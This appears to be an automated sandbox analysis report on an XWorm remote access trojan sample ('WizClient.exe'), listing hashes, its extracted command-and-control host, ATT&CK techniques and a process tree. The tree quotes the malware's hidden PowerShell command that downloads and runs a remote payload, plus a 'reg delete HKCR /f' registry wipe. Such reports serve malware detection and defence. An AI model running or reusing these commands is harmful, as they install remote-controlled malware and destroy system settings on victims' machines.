xworm | 7f737f32ebff5ad14077a80a3a354b3582d947a20fbc75dc0c37afbcd3e90608

Analysis

max time kernel
90s
max time network
100s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/10/2026, 07:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
WizClient.exe
Size 32KB
Sample261002-jajndswdkf
SHA256 7f737f32ebff5ad14077a80a3a354b3582d947a20fbc75dc0c37afbcd3e90608
MD5 f2d1eb7d08c110554f3b5d50d5bd265c
SHA1 0b610ae54302e8b771da8e43b1aeaca86443e4d7
SHA512 cc3f58f2b2377b4d2d947371f02fb88d75c8ba38bb91079d9eacdd17b28fca7622d9d2bcb4e7149acfd98f1c90975e9467b76ff12a12d7b6047a9dc5e2e30368
SSDEEP 384:/r8WqVDweYXS3ghk3wcD6LxP8iYnM2M4dm5XR+ptFFBLTiZw/W+UvK9Ikn1m3xOl:fiedxP8dnM2M4oNcFz9LeOjhZ/dv5d
TLSH
T180E25C4877A08336D5FE2FF52CF295050279E1078923DF5E5CD889AE7B63AC246013D2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution xworm persistence privilege_escalation rat trojan

Malware Config

Extracted

Family

xworm

6.tcp.vip.cpolar.cn:13114

Mutex

95IbwTuQzPiuTOOD

Attributes

Install_directory
%AppData%
install_file
USB.exe

aes.plain

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4120-1-0x0000000000BD0000-0x0000000000BDE000-memory.dmp	family_xworm

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
31	2132	powershell.exe
34	2132	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2132	powershell.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WizClient.lnk	WizClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WizClient.lnk	WizClient.exe

Executes dropped EXE 1 IoCs

pid	Process
3184	xtevyh.exe

Modifies system executable filetype association 2 TTPs 16 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1546.001

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\DropHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\DefaultIcon	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers\Compatibility	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\{8895b1c6-b41f-4c1c-a562-0d564250836f}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas	reg.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3516	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WizClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WizClient.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AcroBroker.Broker.1\CLSID	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CCWU.ComCallWrapper\CurVer	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.aspx\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.ofs	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppX8mn6f6acw2d3hves535dpq0zqnxqkec7\DefaultIcon	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.lnk	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.mak	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.thmx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AcroExch.SecStore	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\wpnpinst.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.ttf\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\WINWORD.EXE\TaskbarExceptionsIcons\WordMail	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppX3p914qnpgw4hwj856jw2y286v7d4qnzh	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.hxr\OpenWithProgIDs	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.inx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.slk	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\acrobat\shell\open\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.doc\ShellEx\{8895b1c6-b41f-4c1c-a562-0d564250836f}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.m4p\ShellEx\{BB2E617C-0920-11D1-9A0B-00C04FC2D6C1}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000_Classes\AppX1sy7rwrc20ggq97a6x1mgmjat0rthy51\Shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CID\48741d20-bd58-443e-b5b9-69e22b7fef74\Clsid	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.rc\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.sit\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.ADTS\OpenWithProgIds	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.TTS\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.wav\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.xlt	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppX6dgm15xpej2tfeqy45f08t73gq55qcjn	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppX8mn6f6acw2d3hves535dpq0zqnxqkec7\Shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppXb2m1ge7jcjp5f6g67dvz4x2sd3wwm24r\Shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CID\4bfde507-6b7f-4e3f-b0c9-4e3439b6798e\Endpoint	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.flac\ShellEx\{BB2E617C-0920-11D1-9A0B-00C04FC2D6C1}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.oma	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AcroExch.XFDFDoc\shell\Print	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppX69r31t6nmawqr1gdamcsndphj2v4a6cx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CertificateAuthority.ServerExit\CurVer	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CID.Local\40578cc1-c751-4d98-b429-a1d4c7c99973\Endpoint	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.gif\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.mov\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.MTS	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\mnyimprt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.cls	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.m4a\ShellEx\{BB2E617C-0920-11D1-9A0B-00C04FC2D6C1}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.msepub	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.p12	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pnf	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.rmi	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pef	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.ppt\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.xlsm	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{A7D2EC8B-B70F-434C-A0CE-0DF324805F7D}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.xhtml	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.gif	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.m14\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.mhtml\OpenWithProgIds	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.tar\OpenWithProgids	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.wm\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\ACLFile\DefaultIcon	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AcroExch.Document.DC	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CertificateStoreFile\shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.shtml\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\OSA.EXE	reg.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2132	powershell.exe
2132	powershell.exe
2132	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3184	xtevyh.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4120	WizClient.exe
Token: SeDebugPrivilege	3184	xtevyh.exe
Token: SeDebugPrivilege	3184	xtevyh.exe
Token: 33	5940	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	5940	AUDIODG.EXE
Token: SeDebugPrivilege	2132	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4120 wrote to memory of 3184	4120	WizClient.exe	92
PID 3184 wrote to memory of 2132	3184	xtevyh.exe	94
PID 3184 wrote to memory of 3516	3184	xtevyh.exe	96
PID 3516 wrote to memory of 5360	3516	cmd.exe	98

C:\Users\Admin\AppData\Local\Temp\WizClient.exe
"C:\Users\Admin\AppData\Local\Temp\WizClient.exe"
1⤵
- Creates a file in the Startup directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4120
- C:\Users\Admin\AppData\Local\Temp\xtevyh.exe
  "C:\Users\Admin\AppData\Local\Temp\xtevyh.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3184
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2132
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /k reg delete HKCR /f
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3516
  - - C:\Windows\system32\reg.exe
      reg delete HKCR /f
      4⤵
      Modifies system executable filetype association
      Modifies registry class
      PID:5360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5576

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004F4 0x0000000000000500
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5940

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

xtevyh.exe

Path C:\Users\Admin\AppData\Local\Temp\xtevyh.exe
Size 41KB
SHA256 c8810de8adf53ad37fd89c03b11c8f2cd016adbc56023d9e84d4b4753c44a8f5
MD5 4fecc738a9bd7c331aca9ca0234ce011
SHA1 dac69d8a392034203271114b3b487338197f5ad4
SHA512 6de5834cabe089ac3ac5bbc583cdf1701a2669743632878e2c292f0cf72fe719c0a996192eab5cd936c715e417cc0decc95548a1311ef666c55e3349b7bba388
SSDEEP 768:rHFNow8R4ZqjDBYGGCBPqX1Q7wzYUeSdBnhY9sST45loa+8LQWMA0:DFNj8R4ZqjDBY2PqFmAzVdlm9sST4j+b
TLSH
T144133C4EAF8D8433C34DABFD586292528630E6274013E7CE55CC61F61AD33964E593DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2132-36-0x000002104A910000-0x000002104A932000-memory.dmp

Download

memory/3184-26-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/3184-24-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/3184-33-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/3184-32-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/3184-31-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/3184-27-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/3184-25-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/3184-20-0x0000000000620000-0x0000000000630000-memory.dmp

Download

memory/3184-21-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/3184-22-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/3184-23-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/4120-11-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/4120-2-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/4120-0-0x00007FFD4F30F000-0x00007FFD4F310000-memory.dmp

Download

memory/4120-3-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/4120-10-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/4120-9-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/4120-4-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download

memory/4120-1-0x0000000000BD0000-0x0000000000BDE000-memory.dmp

Download

memory/4120-41-0x00007FFD4F180000-0x00007FFD4FB24000-memory.dmp

Download